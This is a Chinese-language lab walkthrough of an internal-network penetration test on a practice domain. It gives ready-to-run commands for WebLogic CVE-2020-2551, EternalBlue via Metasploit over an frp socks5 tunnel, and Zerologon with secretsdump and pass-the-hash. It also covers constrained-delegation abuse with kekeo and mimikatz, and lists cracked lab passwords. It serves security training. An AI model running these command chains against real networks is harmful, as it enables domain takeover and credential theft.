记一次内网靶场学习
字数 1937 2025-08-24 20:49:22

内网靶场渗透实战教学文档

环境搭建

网络拓扑结构:

  • Web服务器:
    • 外网IP: 192.160.0.100
    • 内网IP: 10.10.20.12
  • 域内机器Win7:
    • 内网IP: 10.10.20.7
    • 内网IP: 10.10.10.7
  • 域内服务器MSSQL:
    • 内网IP: 10.10.10.18
  • 域控机器:
    • 内网IP: 10.10.10.8

外网渗透

1. 端口扫描

使用工具对目标192.168.0.100进行端口扫描,发现开放了7001端口(WebLogic默认端口)。

2. 目录扫描

对WebLogic进行目录扫描,发现管理登录口。

3. WebLogic漏洞利用

尝试弱口令登录失败后,发现目标存在CVE-2020-2551漏洞(WebLogic IIOP反序列化漏洞),使用漏洞利用工具成功获取权限。

关键点:

  • 漏洞检测工具:WebLogic漏洞利用工具
  • 漏洞编号:CVE-2020-2551

4. 出网探测

执行ping www.baidu.com确认目标机器可以出网。

5. 杀软识别

执行tasklist /svc查看进程,与常见杀软进程对比,确认无杀毒软件。

6. 上线Cobalt Strike

直接使用PowerShell命令上线Cobalt Strike。

内网渗透

1. 信息搜集

执行whoami /allipconfig /all发现存在双网卡。

2. 密码凭据抓取

使用hashdump获取本地管理员密码哈希:

  • 用户名:Administrator
  • NTLM哈希:ccef208c6485269c20db2cad21734fe7
  • 通过cmd5解密得到明文密码:Admin12345

3. 横向移动

方法一:使用fscan扫描内网

  • 上传fscan扫描10网段
  • 发现10.10.20.7存在MS17-010(永恒之蓝)漏洞

方法二:使用Eternalblue

  • 项目地址:https://github.com/0xFenrik/Eternalblue
  • 直接上线CS失败,改用Metasploit

4. 隧道搭建

使用frp搭建socks5代理:

[common] # frpc配置
server_addr = VPS地址
server_port = 7000
[plugin_socks]
type = tcp
remote_port = 1080
plugin = socks5

[common] # frps配置
bind_addr =0.0.0.0
bind_port = 7000

5. 永恒之蓝MS17-010利用

使用Metasploit通过代理攻击:

msf6 > setg Proxies socks5:frps服务端IP:监听端口
msf6 > setg ReverseAllowProxy true
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set rhost 10.10.20.7
msf6 > run

或使用proxychains:

  1. 修改/etc/proxychains.conf
    socks5 127.0.0.1 1080
    
  2. 启动:proxychains msfconsole

成功获取shell后,使用mimikatz执行creds_all获取账户密码:

  • 域账户:redteam\saul
  • 密码:admin!@#45

6. 中转上线

由于Win7不出网,使用跳板机器作为中转,新建监听器,通过psexec上线。

7. 内网扫描

扫描发现存活主机:

  • 10.10.10.8
  • 10.10.10.18

确认域环境:

net user /domain

8. 定位域控

net group "domain controllers" /domain

注:通常DNS服务器就是域控。

域控攻击

1. CVE-2020-1472(Zerologon)漏洞利用

影响版本:

  • Windows Server 2008 R2 - 2019

利用步骤:

  1. 重置管理员密钥置空:

    python3 cve-2020-1472-exploit.py OWA 10.10.10.8
    
  2. 通过Dcsync查看密码hash:

    python secretsdump.py redteam.red/OWA$@10.10.10.8 -just-dc -no-pass
    
  3. 使用psexec和hash获取域控权限:

    python psexec.py administrator@10.10.10.8 -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7
    
  4. 恢复原始NT hash:

    python reinstall_original_pw.py OWA 10.10.10.8 8623dc75ede3ca9ec11f2475b12ef96d
    

2. 约束委派接管域控

  1. 寻找约束委派用户:

    AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
    

    发现sqlserver机器具有约束委派权限。

  2. 扫描发现sqlserver为10.10.10.18:

    fscan.exe -h 10.10.10.0/24
    

    发现弱口令:sa/sa

  3. 使用SharpSQLTools提权:

    SharpSQLTools.exe 10.10.10.18 sa sa master xp_cmdshell whoami
    SharpSQLTools.exe 10.10.10.18 sa sa master install_clr whoami
    SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr
    SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami
    

    获取sqlserver密码:redteam\sqlserver Server12345

  4. 约束委派攻击:

    • 使用kekeo请求TGT:
      kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi"
      
    • 获取域机器的ST:
      kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red"
      
    • 使用mimikatz导入ST:
      mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi
      
    • 成功获取域控权限

工具与资源

  1. Eternalblue利用工具:https://github.com/0xFenrik/Eternalblue
  2. CVE-2020-1472利用工具:https://github.com/SecuraBV/CVE-2020-1472
  3. SharpSQLTools:https://github.com/uknowsec/SharpSQLTools/releases/tag/41
  4. kekeo:https://github.com/gentilkiwi/kekeo/releases

总结

本渗透测试从外网WebLogic漏洞入手,通过内网横向移动、永恒之蓝漏洞利用、约束委派攻击等多种技术手段,最终成功获取域控权限。整个过程涉及:

  1. 外网Web应用漏洞利用
  2. 内网信息收集与凭据窃取
  3. 横向移动技术
  4. 隧道搭建与代理使用
  5. 域环境攻击技术(Zerologon、约束委派)
  6. 多种工具的综合运用
内网靶场渗透实战教学文档 环境搭建 网络拓扑结构: Web服务器: 外网IP: 192.160.0.100 内网IP: 10.10.20.12 域内机器Win7: 内网IP: 10.10.20.7 内网IP: 10.10.10.7 域内服务器MSSQL: 内网IP: 10.10.10.18 域控机器: 内网IP: 10.10.10.8 外网渗透 1. 端口扫描 使用工具对目标192.168.0.100进行端口扫描,发现开放了7001端口(WebLogic默认端口)。 2. 目录扫描 对WebLogic进行目录扫描,发现管理登录口。 3. WebLogic漏洞利用 尝试弱口令登录失败后,发现目标存在CVE-2020-2551漏洞(WebLogic IIOP反序列化漏洞),使用漏洞利用工具成功获取权限。 关键点: 漏洞检测工具:WebLogic漏洞利用工具 漏洞编号:CVE-2020-2551 4. 出网探测 执行 ping www.baidu.com 确认目标机器可以出网。 5. 杀软识别 执行 tasklist /svc 查看进程,与常见杀软进程对比,确认无杀毒软件。 6. 上线Cobalt Strike 直接使用PowerShell命令上线Cobalt Strike。 内网渗透 1. 信息搜集 执行 whoami /all 或 ipconfig /all 发现存在双网卡。 2. 密码凭据抓取 使用 hashdump 获取本地管理员密码哈希: 用户名:Administrator NTLM哈希:ccef208c6485269c20db2cad21734fe7 通过cmd5解密得到明文密码:Admin12345 3. 横向移动 方法一:使用fscan扫描内网 上传fscan扫描10网段 发现10.10.20.7存在MS17-010(永恒之蓝)漏洞 方法二:使用Eternalblue 项目地址:https://github.com/0xFenrik/Eternalblue 直接上线CS失败,改用Metasploit 4. 隧道搭建 使用frp搭建socks5代理: 5. 永恒之蓝MS17-010利用 使用Metasploit通过代理攻击: 或使用proxychains: 修改 /etc/proxychains.conf : 启动: proxychains msfconsole 成功获取shell后,使用mimikatz执行 creds_all 获取账户密码: 域账户:redteam\saul 密码:admin !@#45 6. 中转上线 由于Win7不出网,使用跳板机器作为中转,新建监听器,通过psexec上线。 7. 内网扫描 扫描发现存活主机: 10.10.10.8 10.10.10.18 确认域环境: 8. 定位域控 注:通常DNS服务器就是域控。 域控攻击 1. CVE-2020-1472(Zerologon)漏洞利用 影响版本: Windows Server 2008 R2 - 2019 利用步骤: 重置管理员密钥置空: 通过Dcsync查看密码hash: 使用psexec和hash获取域控权限: 恢复原始NT hash: 2. 约束委派接管域控 寻找约束委派用户: 发现sqlserver机器具有约束委派权限。 扫描发现sqlserver为10.10.10.18: 发现弱口令:sa/sa 使用SharpSQLTools提权: 获取sqlserver密码:redteam\sqlserver Server12345 约束委派攻击: 使用kekeo请求TGT: 获取域机器的ST: 使用mimikatz导入ST: 成功获取域控权限 工具与资源 Eternalblue利用工具:https://github.com/0xFenrik/Eternalblue CVE-2020-1472利用工具:https://github.com/SecuraBV/CVE-2020-1472 SharpSQLTools:https://github.com/uknowsec/SharpSQLTools/releases/tag/41 kekeo:https://github.com/gentilkiwi/kekeo/releases 总结 本渗透测试从外网WebLogic漏洞入手,通过内网横向移动、永恒之蓝漏洞利用、约束委派攻击等多种技术手段,最终成功获取域控权限。整个过程涉及: 外网Web应用漏洞利用 内网信息收集与凭据窃取 横向移动技术 隧道搭建与代理使用 域环境攻击技术(Zerologon、约束委派) 多种工具的综合运用